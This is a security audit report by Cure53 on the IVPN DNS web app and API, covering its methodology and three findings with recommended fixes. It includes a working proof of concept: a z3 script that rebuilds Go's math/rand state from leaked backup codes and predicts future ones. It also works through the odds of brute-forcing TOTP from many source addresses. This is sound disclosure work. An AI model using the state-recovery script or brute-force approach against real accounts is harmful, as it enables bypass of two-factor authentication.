Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest-Report IVPN DNS App UIs, APIs & Setup 05.2025

Cure53, Dr.-Ing. M. Heiderich, D. Albastroiu, M. Pedhapati, Y. C. Chu

Index

- Introduction
- Scope
- Coverage
- Test Methodology
- Identified Vulnerabilities
  - IVP-08-001 WP2: Insufficient rate-limit on 2FA TOTP verification endpoint (Low)
  - IVP-08-002 WP2: Weak TOTP Backup Code Generation (Medium)
- Miscellaneous Issues
  - IVP-08-003 WP2: Missing complexity check when updating password (Info)
- Conclusions

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“What you do online can be tracked by organizations you may not know or trust and become part of a permanent record. A VPN can’t solve this on its own, but can prevent your ISP from being able to share or sell your data.”

From https://www.ivpn.net/en/

This report describes the results of a penetration test and source code audit against the IVPN DNS application, with a focus on its frontend aspects and UI, as well as its backend components and API endpoints.

To give some context regarding the assignment’s origination and composition, IVPN Limited contacted Cure53 in May 2025. The test execution was scheduled for later that month, namely in CW21 / CW22. A total of six days were invested to reach the coverage expected for this project, and a team of four senior testers was assigned to its preparation, execution, and finalization.

The methodology conformed to a white-box strategy, whereby assistive materials such as sources, URLs, API documentation, test-user credentials, as well as all further means of access required to complete the tests were provided to facilitate the undertakings.

The work was split into two separate work packages (WPs), defined as:

- **WP1**: White-box pen.-tests & source code audits against IVPN DNS app UI
- **WP2**: White-box pen.-tests & source code audits against IVPN DNS app API

All preparations were completed in May 2025, specifically during CW20, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated and shared Rocketchat channel, established to combine the teams of IVPN and Cure53. All personnel involved from both parties were invited to participate in this channel. Communications were smooth, with few questions requiring clarification, and the scope was well-prepared and clear. No significant roadblocks were encountered during the test. Cure53 provided frequent status updates, shared its findings, and offered live reporting for one ticket as requested, through the aforementioned Rocketchat channel.

The Cure53 team achieved very good coverage over the scope items, and identified a total of three findings. Of the three security-related findings, two were classified as security vulnerabilities, and one was categorized as a general weakness with lower exploitation potential.

This assessment of the IVPN DNS application revealed a solid security foundation, with only minor weaknesses being detected. The application demonstrated strong security practices

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

across its backend API, frontend, and infrastructure, effectively mitigating common web vulnerabilities such as injection attacks, Cross-Site Scripting (XSS), and Server-Side Request Forgery (SSRF).

However, it is advised that a few areas for hardening were identified. The time-based one-time password (TOTP) backup code generation was found to rely on a predictable random number generator, and the two-factor authentication (2FA) verification process was seen to allow higher than optimal request rates when an attack used multiple source addresses. These issues indicate opportunities for more rigorous cryptographic and rate-limiting practices. A minor inconsistency in password policy enforcement between account creation and updates was also noted.

Overall, no *High* or *Critical* severity vulnerabilities were found, and the identified issues are considered to be minor hardening opportunities. The development team has demonstrated strong competency in web application security, maintaining a robust security posture.

The report will now shed more light on the scope and testing setup, and will provide a comprehensive breakdown of the available materials. Next, the report will detail the *Test Methodology* used in this exercise. This is intended to show the client which areas of the software in scope have been covered, and which tests have been executed, despite only limited findings having been made. Following this, the report will list all findings identified in chronological order, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues* unearthed. Each finding will be accompanied by a technical description, Proof-of-Concepts (PoCs) where applicable, plus any fix or preventative advice to action.

In summation, the report will finalize with a *Conclusions* chapter in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the frontend and backend components of the IVPN DNS application.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Pen.-tests & code audits against IVPN DNS app UIs, APIs & setup**
  - **WP1:** White-box pen.-tests & source code audits against IVPN DNS app UI
    - **Main URL:**
      - https://app.staging.ivpndns.net
    - **Documentation:**
      - https://api.staging.ivpndns.net/docs
  - **WP2:** White-box pen.-tests & source code audits against IVPN DNS app API
    - **API URL:**
      - https://api.staging.ivpndns.net
    - **Shared Source code:**
      - https://github.com/ivpn/dns
      - **Commit**: cd6ad585f6e9407fd05b163c0abd49ed68743582
  - **Test User Credentials**
    - U: adragos@volt.cure53.de
    - U: ginoah@volt.cure53.de
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Test Methodology

This section documents the testing methodology applied by Cure53 during this project, and discusses the resulting coverage, shedding light on how various components were examined. Further clarification concerning areas of investigation subjected to deep-dive assessment is offered, especially in the absence of significant security vulnerabilities having been detected.

- The Cure53 team tested the IVPN ResistDNS service using a comprehensive approach, which combined manual testing, code review, static application security testing, and dynamic application security testing in order to identify potential vulnerabilities across the service's components. The assessment methodology encompassed both white-box examination of the codebase and black-box testing of service responses in the staging environment. This helped to ensure thorough coverage of attack vectors, from user input processing in the web application, to DNS query handling in the backend services.
- Testing of the backend API focused on access control mechanisms, input validation, and endpoint security across all of the service's interfaces. The team examined the ways the API processes requests and enforces permissions, with particular attention being paid to authorization checks and privilege escalation vulnerabilities. The Go codebase was found to demonstrate robust security practices, through the extensive use of *oneof* validation for API endpoint values, which effectively prevented injection-based attacks. Go's strong typing system provided additional protection against MongoDB injection attempts, which the team confirmed by systematically searching for *map[string]any* usage patterns.
- Overall, the application demonstrated robust request validation, through the consistent use of *Validator.ValidateRequest*, systematically enforcing necessary input constraints across endpoints. The team carefully audited validation logic to confirm that all essential checks were correctly implemented. The only issue identified here was that the password update endpoint lacked sufficient complexity checks for user-submitted passwords (IVP-08-003).
- The *ProfileUpdate* functionality received special attention, due to its use of *any* types for *Value*. Testing confirmed that proper type casting using *cast.ToTypeE(update.Value)* was implemented in *api/service/profile/service.go*. Authorization checks were validated across all profile and user endpoints, with the *validateProfileIdAffiliation* function properly enforcing access control lists without bypass possibilities.
- During profile creation, it was found that *CreateOrUpdateProfileSettings* places the default profile in Redis before the duplicate name check executes. If the check fails, then the record is not inserted into the database, while the cache entry persists. The DNS service can still query the orphaned key by *ProfileId* and return a default configuration, yet the profile contains no customized settings, leaving the condition without security impact.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

- Similarly, the *ProfileUpdate* allows two profiles to have the same display name. Since the backend associates every operation with *ProfileId* and the name is purely cosmetic, this overlap does not have any security implications.
- Rate-limiting mechanisms were evaluated, and were found to be insufficient for 2FA TOTP authentication (IVP-08-001). The Fiber framework's default rate-limiter allows five requests per minute per source address, which can be circumvented by attackers with multiple IP addresses in order to conduct brute-force attacks against the limited TOTP search space.
- The proxy service underwent detailed analysis for potential regular expression denial of service (ReDoS) vulnerabilities. The *regexPattern* construction using *strings.ReplaceAll(regexp.QuoteMeta(pattern), "*", ".*")* with user-controlled input was examined, and was determined to be safe, due to Go's regexp implementation guarantee of linear time execution relative to input size.
- A potential nil pointer dereference was identified in *server.go:180*, where *GetRequestCtx* returned nil values used unsafely by *RequestHandler*. However, the defer *sentry.Recover()* implementation was found to provide adequate protection against denial of service (DoS) exploitation.
- The application's cryptographic functions were scrutinized for implementation weaknesses, and a vulnerability was discovered in the TOTP backup code generation process (IVP-08-002). The system uses a cryptographically-weak pseudo-random number generator (PRNG) from *math/rand*, seeded only once, using the current time during server startup. This implementation allows attackers to predict backup codes by analyzing consecutive generations and then reverse-engineering the PRNG's internal state through constraint solving techniques.
- The Vue.js frontend was analyzed for client-side vulnerabilities, including XSS, Prototype Pollution, and *postMessage* abuse. The frontend implementation demonstrated secure coding practices with no dangerous sinks such as *v-html* usage or unsafe *postMessage* handling. HTML injection testing was performed against all possible user inputs. The Query Logs functionality was tested, but this did not yield any exploitable results, due to proper output encoding by the Preline framework.
- The backend's implementation of *Content-Disposition: attachment* headers for configuration file downloads provides additional XSS protection even if HTML injection were possible in backend components.
- Cross-Site Request Forgery (CSRF) exposure was thoroughly assessed. Here, cookies were found to be set with the *SameSite=Lax* flag, and an exhaustive route audit uncovered no state-modifying *GET* requests. As a result, CSRF attacks against the tested scope are considered to be impractical with modern browsers.
- The Apple service component responsible for generating iOS configuration profiles was subjected to thorough testing for XML injection vulnerabilities. The */apple/service.go* implementation was found to handle user input safely, through proper escaping mechanisms that prevented malicious content from being injected into mobile configuration profiles. Testing confirmed that user-supplied data was correctly sanitized before being embedded into the profile templates, effectively

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

preventing attackers from manipulating the configuration structure or injecting arbitrary content that could compromise device security during profile installation.

- Email token verification logic was reviewed for type confusion vulnerabilities. The implementation was found to correctly validate token types, preventing unauthorized access through token type manipulation.
- The risk of a race condition was evaluated in a local environment. As an example, during profile creation, simultaneous requests with distinct names were issued, and since *ProfileId* is derived solely from *time.Now().UnixMilli()*, multiple requests were seen to collide with the same identifier. However, MongoDB's *profile_id_unique* constraint revealed duplicate key errors, and the handler rolled back cleanly, preventing duplicate rows or privilege drift downstream.
- The *blocklist* service module was examined for potential SSRF vulnerabilities in the download functionality. While the URL handling could theoretically enable SSRF attacks, the URLs were found to be sourced from static JSON files within the repository, thereby eliminating external input vectors.
- Dependency analysis included CVE-2025-22871 assessment for the Go 1.23.2 runtime. Investigation confirmed this vulnerability does not apply to the current project configuration, as nginx properly handles chunk extension separators, thereby preventing exploitation.
- The DNS over HTTPS and DNS over TLS implementations were tested for protocol-specific vulnerabilities, including amplification attacks and query validation issues. Custom scripts simulated malformed DNS requests to verify service resilience under various conditions. The service demonstrated proper handling of DNS queries and responses, with appropriate encrypted transport and authenticated responses, adhering to secure configuration defaults.
- Finally, the team cross-checked the interactions among the components, building on the comprehensive insight gained from analysis of the individual modules. This step ensured that no combined effect would emerge from multiple minor or non-critical issues interacting with one another, and confirmed the overall security integrity of the service architecture.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., IVP-08-001) to facilitate any future follow-up correspondence.

IVP-08-001 WP2: Insufficient rate-limit on 2FA TOTP verification endpoint *(Low)*

***Fix note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

The IVPN DNS platform allows users to add 2FA in order to enhance the security of their accounts. The */api/v1/login* endpoint is designed to finalize authentication when a valid password and a six-digit RFC 6238 token (via the *X-Mfa-Code* header) are provided. The endpoint is protected by the Fiber framework's default rate-limiter, which allows up to five requests per minute, per source address. An attacker who already knows the password can exploit this by making multiple attempts across multiple sources, significantly increasing the rate at which potential token values are tested.

Cure53 found that the authentication process is vulnerable, due to insufficient safeguards against brute-force attacks. The rate-limiter does not account for the limited search space of the TOTP token, given an attacker with sufficient network resources. With one thousand distinct source addresses, an attacker could submit up to five thousand guesses per minute. Given the 30-second validity window of the TOTP token, this results in approximately 2,500 guesses per window. The probability of a successful guess within a single window is therefore 0.25%. Over the course of one hour, comprising 120 consecutive windows, the cumulative probability of a successful guess increases to approximately 26%. After sixteen hours of sustained attacks, the likelihood of successfully guessing the token becomes over 99%, effectively bypassing the second-factor authentication mechanism.

This vulnerability highlights a flaw in the rate-limiting and authentication process, which allows an attacker to bypass the intended security measures by exploiting the limited search space of the TOTP token and the limitations of the rate-limiter.

Affected file:
api/api/server.go

Affected code:
```
v1.Post("/login", limiter.New(), s.login())
```

To mitigate this issue, Cure53 recommends the introduction of additional rate-limit measures at verification time, in order to protect accounts that might be under such an attack.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

IVP-08-002 WP2: Weak TOTP Backup Code Generation *(Medium)*

The application was found to use a cryptographically-weak PRNG from *math/rand*, seeded with the current time, in order to generate TOTP backup codes. The seed is only generated once in the lifetime of the server. This makes the backup codes predictable if an attacker generates a large number of consecutive backup codes (e.g. by repeatedly going through the setup process), as the internal state of the PRNG can be reversed.

Affected file:
api/internal/utils/gen.go

Affected code:
```
import (
	"fmt"
	"math/rand"
	"os"
	"strings"
	"time"
)
[...]
var src = rand.NewSource(time.Now().UnixNano())
```

Due to the potential rejection of certain indices when they exceed the length of *letterBytes*, the exact algorithm is complex to model in a SAT solver, although a SAT solver can produce all possible solutions, including the version with the exact observed accept / reject sequence. Therefore, in order to demonstrate this vulnerability, the following slightly modified generation algorithm is used so that the SAT solver produces one unique solution that can be easily verified:

SAT solver:
```
func RandomString(n int, letterBytes string) string {
	sb := strings.Builder{}
	sb.Grow(n)
	// A src.Int63() generates 63 random bits, enough for letterIdxMax
characters!
	for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
		if remain == 0 {
			cache, remain = src.Int63(), letterIdxMax
		}
		idx := int(cache & letterIdxMask)
		sb.WriteByte(letterBytes[idx%len(letterBytes)])
		i--
		cache >>= letterIdxBits
		remain--
	}

	return sb.String()
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
}

/* ---------------------------- Demo --------------------------- */
func main() {
	leakedFile, err := os.Create("leaked.txt")
	if err != nil {
		fmt.Println("Error creating leaked.txt:", err)
		return
	}
	defer leakedFile.Close()

	allFile, err := os.Create("remaining.txt")
	if err != nil {
		fmt.Println("Error creating remaining.txt:", err)
		return
	}
	defer allFile.Close()

	for i := 0; i < 700; i++ {
		randomStr := RandomString(8, AlphaNumericUserFriendly)
		fmt.Fprintln(leakedFile, randomStr)
	}

	for i := 0; i < 100; i++ {
		randomStr := RandomString(8, AlphaNumericUserFriendly)
		fmt.Fprintln(allFile, randomStr)
	}
}
```

This will write 700 generated OTP codes to *leaked.txt*, and 100 subsequent codes to *remaining.txt*. The following script takes only the codes in *leaked.txt* as input, and will successfully predict all codes in *remaining.txt*:

Sample script:

```
from Crypto.Util.number import *
from z3 import *

leaked = open('leaked.txt').read().splitlines()

LETTER_BYTES = b"ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789"
IDX_BITS     = 6
IDX_MASK     = (1 << IDX_BITS) - 1
IDX_MAX      = 63 // IDX_BITS

rngLen   = 607
rngTap   = 273
rngMax   = 1 << 63
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
rngMask  = rngMax - 1

initial_vec = []
for i in range(rngLen):
    initial_vec.append(BitVec("x"+str(i), 64))

def to_int63(int64):
                                                                                #
https://github.com/golang/go/blob/c8bf388bad9bf350b513c562bba22868bc976247/
src/math/rand/rng.go#L233
    return int64 & rngMask

class RNG:
    def __init__(self, init_val):
        self.vec = init_val
        self.tap = 0
        self.feed = rngLen - rngTap

    def next(self):
        self.tap -= 1
        if self.tap < 0:
            self.tap = rngLen - 1
        self.feed -= 1
        if self.feed < 0:
            self.feed = rngLen - 1
         self.vec[self.feed] = (self.vec[self.feed] + self.vec[self.tap]) %
(2**64)
        return self.vec[self.feed]

s = Solver()
rng = RNG(initial_vec)

def constrain_one_string(obs: bytes):
    """
    Add constraints to the z3 solver for a RandomString call.
    """
    cache = to_int63(rng.next())
    remain = IDX_MAX

    for b in obs:
        want = LETTER_BYTES.index(b)
        idx   = cache & IDX_MASK

        s.add(idx % len(LETTER_BYTES) == want)

        # advance Go's cache one slice
        cache  = LShR(cache, IDX_BITS)
        remain -= 1
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
            if remain == 0:
                cache  = to_int63(rng.next())
                remain = IDX_MAX

    # Start crafting the z3 equations
    for line in leaked:
        constrain_one_string(line.encode())

    def random_string(n, letter_bytes):
        """
        Our Python implementation of the RandomString function.
        """
        result = []
        cache = to_int63(new_rng.next())
        remain = IDX_MAX
        i = n - 1

        while i >= 0:
            if remain == 0:
                cache = to_int63(new_rng.next())
                remain = IDX_MAX

            idx = cache & IDX_MASK
            result.append(letter_bytes[idx % len(letter_bytes)])
            i -= 1

            cache >>= IDX_BITS
            remain -= 1

        return ''.join(map(chr, result))

    print('Checking whether it is sat or not...')
    if s.check() == sat:
        print('It is sat, reconstruct the RNG internal state...')
        new_vec = []
        model = s.model()
        for i in range(rngLen):
            key = BitVec("x"+str(i), 64)
            val_model = model[key]
            if val_model is not None:
                new_vec.append(val_model.as_long())
            else:
                new_vec.append(-1)

        # Create new RNG with the internal states found by z3
        new_rng = RNG(new_vec)

        for i in range(700):
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        random_string(8, LETTER_BYTES)

    for i in range(100):
        otp = random_string(8, LETTER_BYTES)
        print(f"OTP {i+1}: {otp}")
```

To remediate this issue, Cure53 recommends using a cryptographically-secure random number generator (CSRNG), such as *crypto/rand*.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

IVP-08-003 WP2: Missing complexity check when updating password *(Info)*

While creating an account, there is a complexity check in *passwordValidation* that requires passwords to be 12-64 characters, containing at least one uppercase letter, one lowercase letter, one number, and one special character. However, when updating the password, this check is missing, as is visible in the following lines of the application's source code:

Affected file:
api/service/account/account.go

Affected code:

```
func (a *AccountService) handlePasswordUpdate(...) error {
	switch update.Operation { // nolint
	case model.UpdateOperationReplace:
		pass, err := cast.ToStringE(update.Value)
		if err != nil {
			return err
		}
		hash, err := auth.HashPassword(pass)
		if err != nil {
			return err
		}
		acc.Password = hash
	}
	return nil
}
```

Cure53 recommends implementing password complexity validation when updating the password, in order to prevent users from setting weak passwords.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

As noted in the *Introduction*, this May 2025 penetration test and source code audit was conducted by Cure53 against the IVPN DNS application, with a focus on its frontend aspects and UI, as well as its backend components and API endpoints.

From a contextual perspective, six working days were allocated to reach the coverage expected for this project. The methodology used conformed to a white-box strategy, and a team of four senior testers was assigned to the project's preparation, execution, and finalization.

The tested scope was found to demonstrate a solid security foundation, with only minor weaknesses being identified across the entire application stack during this assignment. The development team has implemented effective security practices in order to avoid conventional web application vulnerabilities, with most attack vectors being successfully defended against through good design and implementation choices.

Where the backend API implementation was concerned, the team found strong security practices throughout. Extensive testing for injection attacks yielded no vulnerabilities, which indicates that common web security problems have been well understood and effectively mitigated. The Go language provides inherent protections through strong typing, and the consistent use of input validation patterns demonstrates mature security architecture decisions. Access control mechanisms were found to be properly implemented, preventing privilege escalation across profile and user endpoints.

The frontend security posture similarly reflected a solid understanding of client-side security. The Vue.js implementation has prevented XSS vulnerabilities through proper framework usage, and testing revealed no dangerous sinks or unsafe practices.

Infrastructure and service implementations were seen to maintain similar security standards to those described above. The DNS service properly implements encrypted transport protocols, SSRF attempts were mitigated by proper input sourcing restrictions, and the Apple configuration service correctly sanitized user input so as to prevent injection vulnerabilities in mobile profiles.

However, it is advised that a few areas do warrant attention in order to further strengthen the application's security posture. The TOTP backup code generation was found to rely on a predictable random number generator that could theoretically be exploited by determined attackers with sufficient resources (IVP-08-002). Additionally, the 2FA verification process was found to allow higher request rates than optimal when attackers use multiple source addresses, though significant network resources would be required for exploitation (IVP-08-001). It is advised that these issues reflect areas where cryptographic and rate-limiting best practices could be more rigorously applied.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

A minor inconsistency was found to exist in password policy enforcement, where complexity requirements applied during account creation are not enforced during password updates (IVP-08-003). While this does not create an immediate vulnerability, it is advised that consistent application of password policy would strengthen overall account security.

During the audit, the team noted a generally improved security posture, with brute-force protection mechanisms implemented, and password complexity requirements being properly enforced for new accounts. As noted above, it is advised that random string generation could benefit from the use of a cryptographically-secure alternative, which would complete the security improvements from previous assessments.

The system's security design was found to be comprehensive, proactively addressing multiple attack scenarios, including brute-force attacks, race conditions, identifier collisions, and input-based injections. Dangerous inputs were consistently identified and verified, or were correctly encoded. Additional controls - such as rate-limiting and database constraints - further mitigated exploitation risks. Together, these measures were found to demonstrate a mature and robust security posture.

Overall, the assessment revealed no *High* or *Critical* severity vulnerabilities, despite comprehensive testing across all application components. The issues identified in this report are relatively minor, and primarily represent opportunities for security hardening, rather than fundamental flaws. The development team has demonstrated a strong competency in web application security practices, as well as in maintaining a secure infrastructure.

Cure53 would like to thank Juraj Hilje and Maciej Tomczuk from the IVPN Limited team for their excellent project coordination, support and assistance, both before and during this assignment.